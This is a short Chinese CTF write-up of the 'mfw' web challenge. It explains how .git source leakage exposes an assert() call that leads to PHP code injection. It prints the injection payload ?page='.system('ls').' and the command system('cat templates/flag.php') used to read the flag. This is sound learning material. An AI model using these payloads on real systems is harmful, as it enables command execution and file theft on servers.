前言
本题来源于攻防世界WEB
题,题目名称为mfw
,考察的是PHP
代码注入,需要有点脑洞,故记录一下。
正文
首先打开网站后浏览页面,可看到提示用到Git
、PHP
、Bootstrap
,自然想到.git
源码泄露:
查看一下果然存在:
那么使用GitHack
工具下载源码
下载后所有代码如下:
很明显flag在flag.php
文件中,但是泄露的源码中未写入,所以需要根据index.php
的漏洞读取到flag.php
文件,因为其它的三个都是静态文件。
因为代码中有assert
执行判断,而$file
可控,所以可以调整$file
值进行代码注入,源代码如下:
1 | if (isset($_GET['page'])) { |
构造exp如下:
1 | ?page='.system('ls').' |
完整的php语句为:
1 | assert("strpos('templates/'.system('ls').'.php', '..') === false") |
我们知道php
中使用.
连接两个字符串,通过闭合单引号,让$file前后拼接的路径变成单独的字符串并使用.
拼接system('ls')
的执行结果,整个过程行云流水,完美衔接,而system('ls')
的结果直接输出到页面上,所以可以进行回显,效果如下:
执行成功后则可以通过system('cat templates/flag.php')
来读取文件得到flag: